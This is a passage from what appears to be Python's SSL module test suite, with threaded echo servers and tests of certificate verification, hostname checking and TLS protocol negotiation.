self.skipTest("REMOTE_HOST responded too quickly") self.assertIn(rc, (errno.EAGAIN, errno.EWOULDBLOCK)) @unittest.skipUnless(support.IPV6_ENABLED, 'Needs IPv6') def test_get_server_certificate_ipv6(self): with support.transient_internet('ipv6.google.com'): _test_get_server_certificate(self, 'ipv6.google.com', 443) _test_get_server_certificate_fail(self, 'ipv6.google.com', 443) def _test_get_server_certificate(test, host, port, cert=None): pem = ssl.get_server_certificate((host, port)) if not pem: test.fail("No server certificate on %s:%s!" % (host, port)) pem = ssl.get_server_certificate((host, port), ca_certs=cert) if not pem: test.fail("No server certificate on %s:%s!" % (host, port)) if support.verbose: sys.stdout.write("\nVerified certificate for %s:%s is\n%s\n" % (host, port ,pem)) def _test_get_server_certificate_fail(test, host, port): try: pem = ssl.get_server_certificate((host, port), ca_certs=CERTFILE) except ssl.SSLError as x: #should fail if support.verbose: sys.stdout.write("%s\n" % x) else: test.fail("Got server certificate %s for %s:%s!" % (pem, host, port)) from test.ssl_servers import make_https_server class ThreadedEchoServer(threading.Thread): class ConnectionHandler(threading.Thread): """A mildly complicated class, because we want it to work both with and without the SSL wrapper around the socket connection, so that we can test the STARTTLS functionality.""" def __init__(self, server, connsock, addr): self.server = server self.running = False self.sock = connsock self.addr = addr self.sock.setblocking(1) self.sslconn = None threading.Thread.__init__(self) self.daemon = True def wrap_conn(self): try: self.sslconn = self.server.context.wrap_socket( self.sock, server_side=True) self.server.selected_npn_protocols.append(self.sslconn.selected_npn_protocol()) self.server.selected_alpn_protocols.append(self.sslconn.selected_alpn_protocol()) except (ConnectionResetError, BrokenPipeError) as e: # We treat ConnectionResetError as though it were an # SSLError - OpenSSL on Ubuntu abruptly closes the # connection when asked to use an unsupported protocol. # # BrokenPipeError is raised in TLS 1.3 mode, when OpenSSL # tries to send session tickets after handshake. # https://github.com/openssl/openssl/issues/6342 self.server.conn_errors.append(str(e)) if self.server.chatty: handle_error("\n server: bad connection attempt from " + repr(self.addr) + ":\n") self.running = False self.close() return False except (ssl.SSLError, OSError) as e: # OSError may occur with wrong protocols, e.g. both # sides use PROTOCOL_TLS_SERVER. # # XXX Various errors can have happened here, for example # a mismatching protocol version, an invalid certificate, # or a low-level bug. This should be made more discriminating. # # bpo-31323: Store the exception as string to prevent # a reference leak: server -> conn_errors -> exception # -> traceback -> self (ConnectionHandler) -> server self.server.conn_errors.append(str(e)) if self.server.chatty: handle_error("\n server: bad connection attempt from " + repr(self.addr) + ":\n") self.running = False self.server.stop() self.close() return False else: self.server.shared_ciphers.append(self.sslconn.shared_ciphers()) if self.server.context.verify_mode == ssl.CERT_REQUIRED: cert = self.sslconn.getpeercert() if support.verbose and self.server.chatty: sys.stdout.write(" client cert is " + pprint.pformat(cert) + "\n") cert_binary = self.sslconn.getpeercert(True) if support.verbose and self.server.chatty: sys.stdout.write(" cert binary is " + str(len(cert_binary)) + " bytes\n") cipher = self.sslconn.cipher() if support.verbose and self.server.chatty: sys.stdout.write(" server: connection cipher is now " + str(cipher) + "\n") sys.stdout.write(" server: selected protocol is now " + str(self.sslconn.selected_npn_protocol()) + "\n") return True def read(self): if self.sslconn: return self.sslconn.read() else: return self.sock.recv(1024) def write(self, bytes): if self.sslconn: return self.sslconn.write(bytes) else: return self.sock.send(bytes) def close(self): if self.sslconn: self.sslconn.close() else: self.sock.close() def run(self): self.running = True if not self.server.starttls_server: if not self.wrap_conn(): return while self.running: try: msg = self.read() stripped = msg.strip() if not stripped: # eof, so quit this handler self.running = False try: self.sock = self.sslconn.unwrap() except OSError: # Many tests shut the TCP connection down # without an SSL shutdown. This causes # unwrap() to raise OSError with errno=0! pass else: self.sslconn = None self.close() elif stripped == b'over': if support.verbose and self.server.connectionchatty: sys.stdout.write(" server: client closed connection\n") self.close() return elif (self.server.starttls_server and stripped == b'STARTTLS'): if support.verbose and self.server.connectionchatty: sys.stdout.write(" server: read STARTTLS from client, sending OK...\n") self.write(b"OK\n") if not self.wrap_conn(): return elif (self.server.starttls_server and self.sslconn and stripped == b'ENDTLS'): if support.verbose and self.server.connectionchatty: sys.stdout.write(" server: read ENDTLS from client, sending OK...\n") self.write(b"OK\n") self.sock = self.sslconn.unwrap() self.sslconn = None if support.verbose and self.server.connectionchatty: sys.stdout.write(" server: connection is now unencrypted...\n") elif stripped == b'CB tls-unique': if support.verbose and self.server.connectionchatty: sys.stdout.write(" server: read CB tls-unique from client, sending our CB data...\n") data = self.sslconn.get_channel_binding("tls-unique") self.write(repr(data).encode("us-ascii") + b"\n") elif stripped == b'PHA': if support.verbose and self.server.connectionchatty: sys.stdout.write(" server: initiating post handshake auth\n") try: self.sslconn.verify_client_post_handshake() except ssl.SSLError as e: self.write(repr(e).encode("us-ascii") + b"\n") else: self.write(b"OK\n") elif stripped == b'HASCERT': if self.sslconn.getpeercert() is not None: self.write(b'TRUE\n') else: self.write(b'FALSE\n') elif stripped == b'GETCERT': cert = self.sslconn.getpeercert() self.write(repr(cert).encode("us-ascii") + b"\n") else: if (support.verbose and self.server.connectionchatty): ctype = (self.sslconn and "encrypted") or "unencrypted" sys.stdout.write(" server: read %r (%s), sending back %r (%s)...\n" % (msg, ctype, msg.lower(), ctype)) self.write(msg.lower()) except ConnectionResetError: # XXX: OpenSSL 1.1.1 sometimes raises ConnectionResetError # when connection is not shut down gracefully. if self.server.chatty and support.verbose: sys.stdout.write( " Connection reset by peer: {}\n".format( self.addr) ) self.close() self.running = False except OSError: if self.server.chatty: handle_error("Test server failure:\n") self.close() self.running = False # normally, we'd just stop here, but for the test # harness, we want to stop the server self.server.stop() def __init__(self, certificate=None, ssl_version=None, certreqs=None, cacerts=None, chatty=True, connectionchatty=False, starttls_server=False, npn_protocols=None, alpn_protocols=None, ciphers=None, context=None): if context: self.context = context else: self.context = ssl.SSLContext(ssl_version if ssl_version is not None else ssl.PROTOCOL_TLS_SERVER) self.context.verify_mode = (certreqs if certreqs is not None else ssl.CERT_NONE) if cacerts: self.context.load_verify_locations(cacerts) if certificate: self.context.load_cert_chain(certificate) if npn_protocols: self.context.set_npn_protocols(npn_protocols) if alpn_protocols: self.context.set_alpn_protocols(alpn_protocols) if ciphers: self.context.set_ciphers(ciphers) self.chatty = chatty self.connectionchatty = connectionchatty self.starttls_server = starttls_server self.sock = socket.socket() self.port = support.bind_port(self.sock) self.flag = None self.active = False self.selected_npn_protocols = [] self.selected_alpn_protocols = [] self.shared_ciphers = [] self.conn_errors = [] threading.Thread.__init__(self) self.daemon = True def __enter__(self): self.start(threading.Event()) self.flag.wait() return self def __exit__(self, *args): self.stop() self.join() def start(self, flag=None): self.flag = flag threading.Thread.start(self) def run(self): self.sock.settimeout(0.05) self.sock.listen() self.active = True if self.flag: # signal an event self.flag.set() while self.active: try: newconn, connaddr = self.sock.accept() if support.verbose and self.chatty: sys.stdout.write(' server: new connection from ' + repr(connaddr) + '\n') handler = self.ConnectionHandler(self, newconn, connaddr) handler.start() handler.join() except socket.timeout: pass except KeyboardInterrupt: self.stop() except BaseException as e: if support.verbose and self.chatty: sys.stdout.write( ' connection handling failed: ' + repr(e) + '\n') self.sock.close() def stop(self): self.active = False class AsyncoreEchoServer(threading.Thread): # this one's based on asyncore.dispatcher class EchoServer (asyncore.dispatcher): class ConnectionHandler(asyncore.dispatcher_with_send): def __init__(self, conn, certfile): self.socket = test_wrap_socket(conn, server_side=True, certfile=certfile, do_handshake_on_connect=False) asyncore.dispatcher_with_send.__init__(self, self.socket) self._ssl_accepting = True self._do_ssl_handshake() def readable(self): if isinstance(self.socket, ssl.SSLSocket): while self.socket.pending() > 0: self.handle_read_event() return True def _do_ssl_handshake(self): try: self.socket.do_handshake() except (ssl.SSLWantReadError, ssl.SSLWantWriteError): return except ssl.SSLEOFError: return self.handle_close() except ssl.SSLError: raise except OSError as err: if err.args[0] == errno.ECONNABORTED: return self.handle_close() else: self._ssl_accepting = False def handle_read(self): if self._ssl_accepting: self._do_ssl_handshake() else: data = self.recv(1024) if support.verbose: sys.stdout.write(" server: read %s from client\n" % repr(data)) if not data: self.close() else: self.send(data.lower()) def handle_close(self): self.close() if support.verbose: sys.stdout.write(" server: closed connection %s\n" % self.socket) def handle_error(self): raise def __init__(self, certfile): self.certfile = certfile sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self.port = support.bind_port(sock, '') asyncore.dispatcher.__init__(self, sock) self.listen(5) def handle_accepted(self, sock_obj, addr): if support.verbose: sys.stdout.write(" server: new connection from %s:%s\n" %addr) self.ConnectionHandler(sock_obj, self.certfile) def handle_error(self): raise def __init__(self, certfile): self.flag = None self.active = False self.server = self.EchoServer(certfile) self.port = self.server.port threading.Thread.__init__(self) self.daemon = True def __str__(self): return "<%s %s>" % (self.__class__.__name__, self.server) def __enter__(self): self.start(threading.Event()) self.flag.wait() return self def __exit__(self, *args): if support.verbose: sys.stdout.write(" cleanup: stopping server.\n") self.stop() if support.verbose: sys.stdout.write(" cleanup: joining server thread.\n") self.join() if support.verbose: sys.stdout.write(" cleanup: successfully joined.\n") # make sure that ConnectionHandler is removed from socket_map asyncore.close_all(ignore_all=True) def start (self, flag=None): self.flag = flag threading.Thread.start(self) def run(self): self.active = True if self.flag: self.flag.set() while self.active: try: asyncore.loop(1) except: pass def stop(self): self.active = False self.server.close() def server_params_test(client_context, server_context, indata=b"FOO\n", chatty=True, connectionchatty=False, sni_name=None, session=None): """ Launch a server, connect a client to it and try various reads and writes. """ stats = {} server = ThreadedEchoServer(context=server_context, chatty=chatty, connectionchatty=False) with server: with client_context.wrap_socket(socket.socket(), server_hostname=sni_name, session=session) as s: s.connect((HOST, server.port)) for arg in [indata, bytearray(indata), memoryview(indata)]: if connectionchatty: if support.verbose: sys.stdout.write( " client: sending %r...\n" % indata) s.write(arg) outdata = s.read() if connectionchatty: if support.verbose: sys.stdout.write(" client: read %r\n" % outdata) if outdata != indata.lower(): raise AssertionError( "bad data <<%r>> (%d) received; expected <<%r>> (%d)\n" % (outdata[:20], len(outdata), indata[:20].lower(), len(indata))) s.write(b"over\n") if connectionchatty: if support.verbose: sys.stdout.write(" client: closing connection.\n") stats.update({ 'compression': s.compression(), 'cipher': s.cipher(), 'peercert': s.getpeercert(), 'client_alpn_protocol': s.selected_alpn_protocol(), 'client_npn_protocol': s.selected_npn_protocol(), 'version': s.version(), 'session_reused': s.session_reused, 'session': s.session, }) s.close() stats['server_alpn_protocols'] = server.selected_alpn_protocols stats['server_npn_protocols'] = server.selected_npn_protocols stats['server_shared_ciphers'] = server.shared_ciphers return stats def try_protocol_combo(server_protocol, client_protocol, expect_success, certsreqs=None, server_options=0, client_options=0): """ Try to SSL-connect using *client_protocol* to *server_protocol*. If *expect_success* is true, assert that the connection succeeds, if it's false, assert that the connection fails. Also, if *expect_success* is a string, assert that it is the protocol version actually used by the connection. """ if certsreqs is None: certsreqs = ssl.CERT_NONE certtype = { ssl.CERT_NONE: "CERT_NONE", ssl.CERT_OPTIONAL: "CERT_OPTIONAL", ssl.CERT_REQUIRED: "CERT_REQUIRED", }[certsreqs] if support.verbose: formatstr = (expect_success and " %s->%s %s\n") or " {%s->%s} %s\n" sys.stdout.write(formatstr % (ssl.get_protocol_name(client_protocol), ssl.get_protocol_name(server_protocol), certtype)) client_context = ssl.SSLContext(client_protocol) client_context.options |= client_options server_context = ssl.SSLContext(server_protocol) server_context.options |= server_options # NOTE: we must enable "ALL" ciphers on the client, otherwise an # SSLv23 client will send an SSLv3 hello (rather than SSLv2) # starting from OpenSSL 1.0.0 (see issue #8322). if client_context.protocol == ssl.PROTOCOL_TLS: client_context.set_ciphers("ALL") for ctx in (client_context, server_context): ctx.verify_mode = certsreqs ctx.load_cert_chain(SIGNED_CERTFILE) ctx.load_verify_locations(SIGNING_CA) try: stats = server_params_test(client_context, server_context, chatty=False, connectionchatty=False) # Protocol mismatch can result in either an SSLError, or a # "Connection reset by peer" error. except ssl.SSLError: if expect_success: raise except OSError as e: if expect_success or e.errno != errno.ECONNRESET: raise else: if not expect_success: raise AssertionError( "Client protocol %s succeeded with server protocol %s!" % (ssl.get_protocol_name(client_protocol), ssl.get_protocol_name(server_protocol))) elif (expect_success is not True and expect_success != stats['version']): raise AssertionError("version mismatch: expected %r, got %r" % (expect_success, stats['version'])) class ThreadedTests(unittest.TestCase): @skip_if_broken_ubuntu_ssl def test_echo(self): """Basic test of an SSL client connecting to a server""" if support.verbose: sys.stdout.write("\n") for protocol in PROTOCOLS: if protocol in {ssl.PROTOCOL_TLS_CLIENT, ssl.PROTOCOL_TLS_SERVER}: continue with self.subTest(protocol=ssl._PROTOCOL_NAMES[protocol]): context = ssl.SSLContext(protocol) context.load_cert_chain(CERTFILE) server_params_test(context, context, chatty=True, connectionchatty=True) client_context, server_context, hostname = testing_context() with self.subTest(client=ssl.PROTOCOL_TLS_CLIENT, server=ssl.PROTOCOL_TLS_SERVER): server_params_test(client_context=client_context, server_context=server_context, chatty=True, connectionchatty=True, sni_name=hostname) client_context.check_hostname = False with self.subTest(client=ssl.PROTOCOL_TLS_SERVER, server=ssl.PROTOCOL_TLS_CLIENT): with self.assertRaises(ssl.SSLError) as e: server_params_test(client_context=server_context, server_context=client_context, chatty=True, connectionchatty=True, sni_name=hostname) self.assertIn('called a function you should not call', str(e.exception)) with self.subTest(client=ssl.PROTOCOL_TLS_SERVER, server=ssl.PROTOCOL_TLS_SERVER): with self.assertRaises(ssl.SSLError) as e: server_params_test(client_context=server_context, server_context=server_context, chatty=True, connectionchatty=True) self.assertIn('called a function you should not call', str(e.exception)) with self.subTest(client=ssl.PROTOCOL_TLS_CLIENT, server=ssl.PROTOCOL_TLS_CLIENT): with self.assertRaises(ssl.SSLError) as e: server_params_test(client_context=server_context, server_context=client_context, chatty=True, connectionchatty=True) self.assertIn('called a function you should not call', str(e.exception)) def test_getpeercert(self): if support.verbose: sys.stdout.write("\n") client_context, server_context, hostname = testing_context() server = ThreadedEchoServer(context=server_context, chatty=False) with server: with client_context.wrap_socket(socket.socket(), do_handshake_on_connect=False, server_hostname=hostname) as s: s.connect((HOST, server.port)) # getpeercert() raise ValueError while the handshake isn't # done. with self.assertRaises(ValueError): s.getpeercert() s.do_handshake() cert = s.getpeercert() self.assertTrue(cert, "Can't get peer certificate.") cipher = s.cipher() if support.verbose: sys.stdout.write(pprint.pformat(cert) + '\n') sys.stdout.write("Connection cipher is " + str(cipher) + '.\n') if 'subject' not in cert: self.fail("No subject field in certificate: %s." % pprint.pformat(cert)) if ((('organizationName', 'Python Software Foundation'),) not in cert['subject']): self.fail( "Missing or invalid 'organizationName' field in certificate subject; " "should be 'Python Software Foundation'.") self.assertIn('notBefore', cert) self.assertIn('notAfter', cert) before = ssl.cert_time_to_seconds(cert['notBefore']) after = ssl.cert_time_to_seconds(cert['notAfter']) self.assertLess(before, after) @unittest.skipUnless(have_verify_flags(), "verify_flags need OpenSSL > 0.9.8") def test_crl_check(self): if support.verbose: sys.stdout.write("\n") client_context, server_context, hostname = testing_context() tf = getattr(ssl, "VERIFY_X509_TRUSTED_FIRST", 0) self.assertEqual(client_context.verify_flags, ssl.VERIFY_DEFAULT | tf) # VERIFY_DEFAULT should pass server = ThreadedEchoServer(context=server_context, chatty=True) with server: with client_context.wrap_socket(socket.socket(), server_hostname=hostname) as s: s.connect((HOST, server.port)) cert = s.getpeercert() self.assertTrue(cert, "Can't get peer certificate.") # VERIFY_CRL_CHECK_LEAF without a loaded CRL file fails client_context.verify_flags |= ssl.VERIFY_CRL_CHECK_LEAF server = ThreadedEchoServer(context=server_context, chatty=True) with server: with client_context.wrap_socket(socket.socket(), server_hostname=hostname) as s: with self.assertRaisesRegex(ssl.SSLError, "certificate verify failed"): s.connect((HOST, server.port)) # now load a CRL file. The CRL file is signed by the CA. client_context.load_verify_locations(CRLFILE) server = ThreadedEchoServer(context=server_context, chatty=True) with server: with client_context.wrap_socket(socket.socket(), server_hostname=hostname) as s: s.connect((HOST, server.port)) cert = s.getpeercert() self.assertTrue(cert, "Can't get peer certificate.") def test_check_hostname(self): if support.verbose: sys.stdout.write("\n") client_context, server_context, hostname = testing_context() # correct hostname should verify server = ThreadedEchoServer(context=server_context, chatty=True) with server: with client_context.wrap_socket(socket.socket(), server_hostname=hostname) as s: s.connect((HOST, server.port)) cert = s.getpeercert() self.assertTrue(cert, "Can't get peer certificate.") # incorrect hostname should raise an exception server = ThreadedEchoServer(context=server_context, chatty=True) with server: with client_context.wrap_socket(socket.socket(), server_hostname="invalid") as s: with self.assertRaisesRegex( ssl.CertificateError, "Hostname mismatch, certificate is not valid for 'invalid'."): s.connect((HOST, server.port)) # missing server_hostname arg should cause an exception, too server = ThreadedEchoServer(context=server_context, chatty=True) with server: with socket.socket() as s: with self.assertRaisesRegex(ValueError, "check_hostname requires server_hostname"): client_context.wrap_socket(s) def test_ecc_cert(self): client_context = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT) client_context.load_verify_locations(SIGNING_CA) client_context.set_ciphers('ECDHE:ECDSA:!NULL:!aRSA') hostname = SIGNED_CERTFILE_ECC_HOSTNAME server_context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER) # load ECC cert server_context.load_cert_chain(SIGNED_CERTFILE_ECC) # correct hostname should verify server = ThreadedEchoServer(context=server_context, chatty=True) with server: with client_context.wrap_socket(socket.socket(), server_hostname=hostname) as s: s.connect((HOST, server.port)) cert = s.getpeercert() self.assertTrue(cert, "Can't get peer certificate.") cipher = s.cipher()[0].split('-') self.assertTrue(cipher[:2], ('ECDHE', 'ECDSA')) def test_dual_rsa_ecc(self): client_context = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT) client_context.load_verify_locations(SIGNING_CA) # TODO: fix TLSv1.3 once SSLContext can restrict signature # algorithms. client_context.options |= ssl.OP_NO_TLSv1_3 # only ECDSA certs client_context.set_ciphers('ECDHE:ECDSA:!NULL:!aRSA') hostname = SIGNED_CERTFILE_ECC_HOSTNAME server_context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER) # load ECC and RSA key/cert pairs server_context.load_cert_chain(SIGNED_CERTFILE_ECC) server_context.load_cert_chain(SIGNED_CERTFILE) # correct hostname should verify server = ThreadedEchoServer(context=server_context, chatty=True) with server: with client_context.wrap_socket(socket.socket(), server_hostname=hostname) as s: s.connect((HOST, server.port)) cert = s.getpeercert() self.assertTrue(cert, "Can't get peer certificate.") cipher = s.cipher()[0].split('-') self.assertTrue(cipher[:2], ('ECDHE', 'ECDSA')) def test_check_hostname_idn(self): if support.verbose: sys.stdout.write("\n") server_context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER) server_context.load_cert_chain(IDNSANSFILE) context = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT) context.verify_mode = ssl.CERT_REQUIRED context.check_hostname = True context.load_verify_locations(SIGNING_CA) # correct hostname should verify, when specified in several # different ways idn_hostnames = [ ('kรถnig.idn.pythontest.net', 'xn--knig-5qa.idn.pythontest.net'), ('xn--knig-5qa.idn.pythontest.net', 'xn--knig-5qa.idn.pythontest.net'), (b'xn--knig-5qa.idn.pythontest.net', 'xn--knig-5qa.idn.pythontest.net'), ('kรถnigsgรครŸchen.idna2003.pythontest.net', 'xn--knigsgsschen-lcb0w.idna2003.pythontest.net'), ('xn--knigsgsschen-lcb0w.idna2003.pythontest.net', 'xn--knigsgsschen-lcb0w.idna2003.pythontest.net'), (b'xn--knigsgsschen-lcb0w.idna2003.pythontest.net', 'xn--knigsgsschen-lcb0w.idna2003.pythontest.net'), # ('kรถnigsgรครŸchen.idna2008.pythontest.net', # 'xn--knigsgchen-b4a3dun.idna2008.pythontest.net'), ('xn--knigsgchen-b4a3dun.idna2008.pythontest.net', 'xn--knigsgchen-b4a3dun.idna2008.pythontest.net'), (b'xn--knigsgchen-b4a3dun.idna2008.pythontest.net', 'xn--knigsgchen-b4a3dun.idna2008.pythontest.net'), ] for server_hostname, expected_hostname in idn_hostnames: server = ThreadedEchoServer(context=server_context, chatty=True) with server: with context.wrap_socket(socket.socket(), server_hostname=server_hostname) as s: self.assertEqual(s.server_hostname, expected_hostname) s.connect((HOST, server.port)) cert = s.getpeercert() self.assertEqual(s.server_hostname, expected_hostname) self.assertTrue(cert, "Can't get peer certificate.") # incorrect hostname should raise an exception server = ThreadedEchoServer(context=server_context, chatty=True) with server: with context.wrap_socket(socket.socket(), server_hostname="python.example.org") as s: with self.assertRaises(ssl.CertificateError): s.connect((HOST, server.port)) def test_wrong_cert_tls12(self): """Connecting when the server rejects the client's certificate Launch a server with CERT_REQUIRED, and check that trying to connect to it with a wrong client certificate fails. """ client_context, server_context, hostname = testing_context() # load client cert that is not signed by trusted CA client_context.load_cert_chain(CERTFILE) # require TLS client authentication server_context.verify_mode = ssl.CERT_REQUIRED # TLS 1.3 has different handshake client_context.maximum_version = ssl.TLSVersion.TLSv1_2 server = ThreadedEchoServer( context=server_context, chatty=True, connectionchatty=True, ) with server, \ client_context.wrap_socket(socket.socket(), server_hostname=hostname) as s: try: # Expect either an SSL error about the server rejecting # the connection, or a low-level connection reset (which # sometimes happens on Windows) s.connect((HOST, server.port)) except ssl.SSLError as e: if support.verbose: sys.stdout.write("\nSSLError is %r\n" % e) except OSError as e: if e.errno != errno.ECONNRESET: raise if support.verbose: sys.stdout.write("\nsocket.error is %r\n" % e) else: self.fail("Use of invalid cert should have failed!") @unittest.skipUnless(ssl.HAS_TLSv1_3, "Test needs TLS 1.3") def test_wrong_cert_tls13(self): client_context, server_context, hostname = testing_context() # load client cert that is not signed by trusted CA client_context.load_cert_chain(CERTFILE) server_context.verify_mode = ssl.CERT_REQUIRED server_context.minimum_version = ssl.TLSVersion.TLSv1_3 client_context.minimum_version = ssl.TLSVersion.TLSv1_3 server = ThreadedEchoServer( context=server_context, chatty=True, connectionchatty=True, ) with server, \ client_context.wrap_socket(socket.socket(), server_hostname=hostname) as s: # TLS 1.3 perform client cert exchange after handshake s.connect((HOST, server.port)) try: s.write(b'data') s.read(4) except ssl.SSLError as e: if support.verbose: sys.stdout.write("\nSSLError is %r\n" % e) except OSError as e: if e.errno != errno.ECONNRESET: raise if support.verbose: sys.stdout.write("\nsocket.error is %r\n" % e) else: self.fail("Use of invalid cert should have failed!") def test_rude_shutdown(self): """A brutal shutdown of an SSL server should raise an OSError in the client when attempting handshake. """ listener_ready = threading.Event() listener_gone = threading.Event() s = socket.socket() port = support.bind_port(s, HOST) # `listener` runs in a thread. It sits in an accept() until # the main thread connects. Then it rudely closes the socket, # and sets Event `listener_gone` to let the main thread know # the socket is gone. def listener(): s.listen() listener_ready.set() newsock, addr = s.accept() newsock.close() s.close() listener_gone.set() def connector(): listener_ready.wait() with socket.socket() as c: c.connect((HOST, port)) listener_gone.wait() try: ssl_sock = test_wrap_socket(c) except OSError: pass else: self.fail('connecting to closed SSL socket should have failed') t = threading.Thread(target=listener) t.start() try: connector() finally: t.join() def test_ssl_cert_verify_error(self): if support.verbose: sys.stdout.write("\n") server_context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER) server_context.load_cert_chain(SIGNED_CERTFILE) context = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT) server = ThreadedEchoServer(context=server_context, chatty=True) with server: with context.wrap_socket(socket.socket(), server_hostname=SIGNED_CERTFILE_HOSTNAME) as s: try: s.connect((HOST, server.port)) except ssl.SSLError as e: msg = 'unable to get local issuer certificate' self.assertIsInstance(e, ssl.SSLCertVerificationError) self.assertEqual(e.verify_code, 20) self.assertEqual(e.verify_message, msg) self.assertIn(msg, repr(e)) self.assertIn('certificate verify failed', repr(e)) @skip_if_broken_ubuntu_ssl @unittest.skipUnless(hasattr(ssl, 'PROTOCOL_SSLv2'), "OpenSSL is compiled without SSLv2 support") def test_protocol_sslv2(self): """Connecting to an SSLv2 server with various client options""" if support.verbose: sys.stdout.write("\n") try_protocol_combo(ssl.PROTOCOL_SSLv2, ssl.PROTOCOL_SSLv2, True) try_protocol_combo(ssl.PROTOCOL_SSLv2, ssl.PROTOCOL_SSLv2, True, ssl.CERT_OPTIONAL) try_protocol_combo(ssl.PROTOCOL_SSLv2, ssl.PROTOCOL_SSLv2, True, ssl.CERT_REQUIRED) try_protocol_combo(ssl.PROTOCOL_SSLv2, ssl.PROTOCOL_TLS, False) if hasattr(ssl, 'PROTOCOL_SSLv3'): try_protocol_combo(ssl.PROTOCOL_SSLv2, ssl.PROTOCOL_SSLv3, False) try_protocol_combo(ssl.PROTOCOL_SSLv2, ssl.PROTOCOL_TLSv1, False) # SSLv23 client with specific SSL options if no_sslv2_implies_sslv3_hello(): # No SSLv2 => client will use an SSLv3 hello on recent OpenSSLs try_protocol_combo(ssl.PROTOCOL_SSLv2, ssl.PROTOCOL_TLS, False, client_options=ssl.OP_NO_SSLv2) try_protocol_combo(ssl.PROTOCOL_SSLv2, ssl.PROTOCOL_TLS, False, client_options=ssl.OP_NO_SSLv3) try_protocol_combo(ssl.PROTOCOL_SSLv2, ssl.PROTOCOL_TLS, False, client_options=ssl.OP_NO_TLSv1) @skip_if_broken_ubuntu_ssl def test_PROTOCOL_TLS(self): """Connecting to an SSLv23 server with various client options""" if support.verbose: sys.stdout.write("\n") if hasattr(ssl, 'PROTOCOL_SSLv2'): try: try_protocol_combo(ssl.PROTOCOL_TLS, ssl.PROTOCOL_SSLv2, True) except OSError as x: # this fails on some older versions of OpenSSL (0.9.7l, for instance) if support.verbose: sys.stdout.write( " SSL2 client to SSL23 server test unexpectedly failed:\n %s\n" % str(x)) if hasattr(ssl, 'PROTOCOL_SSLv3'): try_protocol_combo(ssl.PROTOCOL_TLS, ssl.PROTOCOL_SSLv3, False) try_protocol_combo(ssl.PROTOCOL_TLS, ssl.PROTOCOL_TLS, True) try_protocol_combo(ssl.PROTOCOL_TLS, ssl.PROTOCOL_TLSv1, 'TLSv1') if hasattr(ssl, 'PROTOCOL_SSLv3'): try_protocol_combo(ssl.PROTOCOL_TLS, ssl.PROTOCOL_SSLv3, False, ssl.CERT_OPTIONAL) try_protocol_combo(ssl.PROTOCOL_TLS, ssl.PROTOCOL_TLS, True, ssl.CERT_OPTIONAL) try_protocol_combo(ssl.PROTOCOL_TLS, ssl.PROTOCOL_TLSv1, 'TLSv1', ssl.CERT_OPTIONAL) if hasattr(ssl, 'PROTOCOL_SSLv3'): try_protocol_combo(ssl.PROTOCOL_TLS, ssl.PROTOCOL_SSLv3, False, ssl.CERT_REQUIRED) try_protocol_combo(ssl.PROTOCOL_TLS, ssl.PROTOCOL_TLS, True, ssl.CERT_REQUIRED) try_protocol_combo(ssl.PROTOCOL_TLS, ssl.PROTOCOL_TLSv1, 'TLSv1', ssl.CERT_REQUIRED) # Server with specific SSL options if hasattr(ssl, 'PROTOCOL_SSLv3'): try_protocol_combo(ssl.PROTOCOL_TLS, ssl.PROTOCOL_SSLv3, False, server_options=ssl.OP_NO_SSLv3) # Will choose TLSv1 try_protocol_combo(ssl.PROTOCOL_TLS, ssl.PROTOCOL_TLS, True, server_options=ssl.OP_NO_SSLv2 | ssl.OP_NO_SSLv3) try_protocol_combo(ssl.PROTOCOL_TLS, ssl.PROTOCOL_TLSv1, False, server_options=ssl.OP_NO_TLSv1) @skip_if_broken_ubuntu_ssl @unittest.skipUnless(hasattr(ssl, 'PROTOCOL_SSLv3'), "OpenSSL is compiled without SSLv3 support") def test_protocol_sslv3(self): """Connecting to an SSLv3 server with various client options""" if support.verbose: sys.stdout.write("\n") try_protocol_combo(ssl.PROTOCOL_SSLv3, ssl.PROTOCOL_SSLv3, 'SSLv3') try_protocol_combo(ssl.PROTOCOL_SSLv3, ssl.PROTOCOL_SSLv3, 'SSLv3', ssl.CERT_OPTIONAL) try_protocol_combo(ssl.PROTOCOL_SSLv3, ssl.PROTOCOL_SSLv3, 'SSLv3', ssl.CERT_REQUIRED) if hasattr(ssl, 'PROTOCOL_SSLv2'): try_protocol_combo(ssl.PROTOCOL_SSLv3, ssl.PROTOCOL_SSLv2, False) try_protocol_combo(ssl.PROTOCOL_SSLv3, ssl.PROTOCOL_TLS, False, client_options=ssl.OP_NO_SSLv3) try_protocol_combo(ssl.PROTOCOL_SSLv3, ssl.PROTOCOL_TLSv1, False) if no_sslv2_implies_sslv3_hello(): # No SSLv2 => client will use an SSLv3 hello on recent OpenSSLs try_protocol_combo(ssl.PROTOCOL_SSLv3, ssl.PROTOCOL_TLS, False, client_options=ssl.OP_NO_SSLv2) @skip_if_broken_ubuntu_ssl def test_protocol_tlsv1(self): """Connecting to a TLSv1 server with various client options""" if support.verbose: sys.stdout.write("\n") try_protocol_combo(ssl.PROTOCOL_TLSv1, ssl.PROTOCOL_TLSv1, 'TLSv1') try_protocol_combo(ssl.PROTOCOL_TLSv1, ssl.PROTOCOL_TLSv1, 'TLSv1', ssl.CERT_OPTIONAL) try_protocol_combo(ssl.PROTOCOL_TLSv1, ssl.PROTOCOL_TLSv1, 'TLSv1', ssl.CERT_REQUIRED) if hasattr(ssl, 'PROTOCOL_SSLv2'): try_protocol_combo(ssl.PROTOCOL_TLSv1, ssl.PROTOCOL_SSLv2, False) if hasattr(ssl, 'PROTOCOL_SSLv3'): try_protocol_combo(ssl.PROTOCOL_TLSv1, ssl.PROTOCOL_SSLv3, False) try_protocol_combo(ssl.PROTOCOL_TLSv1, ssl.PROTOCOL_TLS, False, client_options=ssl.OP_NO_TLSv1) @skip_if_broken_ubuntu_ssl @unittest.skipUnless(hasattr(ssl, "PROTOCOL_TLSv1_1"), "TLS version 1.1 not supported.") def test_protocol_tlsv1_1(self): """Connecting to a TLSv1.1 server with various client options. Testing against older TLS versions.""" if support.verbose: sys.stdout.write("\n") try_protocol_combo(ssl.PROTOCOL_TLSv1_1, ssl.PROTOCOL_TLSv1_1, 'TLSv1.1') if hasattr(ssl, 